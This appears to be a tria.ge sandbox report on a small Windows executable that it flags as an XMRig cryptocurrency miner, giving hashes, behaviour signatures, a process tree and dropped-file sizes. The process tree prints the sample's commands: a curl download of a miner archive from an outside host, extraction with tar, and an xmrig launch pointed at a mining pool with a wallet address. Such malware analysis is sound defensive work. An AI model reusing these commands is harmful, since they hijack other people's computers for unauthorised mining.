Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Resubmissions
11/03/2024, 21:08
240311-zy7ywsed31 1011/03/2024, 21:06
240311-zx53xagd73 1011/03/2024, 21:02
240311-zvwrfsec3x 1011/03/2024, 21:01
240311-ztxx5aeb9x 1011/03/2024, 20:59
240311-zs72psgc56 1011/03/2024, 20:57
240311-zrmpdaeb3v 1011/03/2024, 20:56
240311-zqzbsagb66 1011/03/2024, 20:55
240311-zqlexsgb55 1011/03/2024, 20:54
240311-zp4j4sgb43 1011/03/2024, 20:53
240311-zplz3agb32 10Analysis
-
max time kernel
1046s -
max time network
1042s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
-
submitted
11/03/2024, 20:56
General
-
Target
test - Copy (11).exe
-
Size
6KB
-
MD5
4634098fe194204dc03f967cc0b19cd6
-
SHA1
eaa58619c6cea9f148cec61ee504cd727b3e80d8
-
SHA256
a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
-
SHA512
64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d
-
SSDEEP
96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s
Malware Config
Signatures
-
XMRig Miner payload 62 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: LoadsDriver 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\test - Copy (11).exe"C:\Users\Admin\AppData\Local\Temp\test - Copy (11).exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\qjyiB2mv.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵
-
-
C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵
-
-
C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1312 --field-trial-handle=2284,i,9807419199535700662,2319175108930815708,262144 --variations-seed-version /prefetch:81⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1316 --field-trial-handle=2284,i,9807419199535700662,2319175108930815708,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
421B
MD567d11b392feb0ad59fc11ff3e79dfeee
SHA17df5785988cb76c4893773614572c93baaa18717
SHA25669bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d
SHA51250835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11
-
Filesize
1.1MB
MD586e688e524c75b14bca020959ee01ddc
SHA10205d339762779958031348cf3b899e5d9d80504
SHA256fe69ed4547b7ca0b12f72e16cb73d1bd3c5ab60c70dbc2ce67ff31e9c8f6d8a0
SHA512d8ba4f9e9f7de480ab6a5b18c352e945ea452cacf97ec0c0c4c345b11c7cdef0ef04d48be9e5028b19017768095d6f3389e290e8349d7a67a892c24885938b65
-
Filesize
79KB
MD5787c96ad108425a6fcec56c51a9d892f
SHA16d5266980941761446c49971fc148398d6b7fa0c
SHA2562c0bf6e704e1e358f64f4a4378faa3867260898f20245f443d5e0ae15d26e750
SHA51218957678e9a0fee07b8a732bf6c514f1f3dd906605b4050eaa6588f5b811d785189c530c29d8bcbf34cf9e4eed6e69cf864fac87a96067c22bea3b669fc6e2ff
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
32KB
-
Filesize
10.8MB
-
Filesize
10.8MB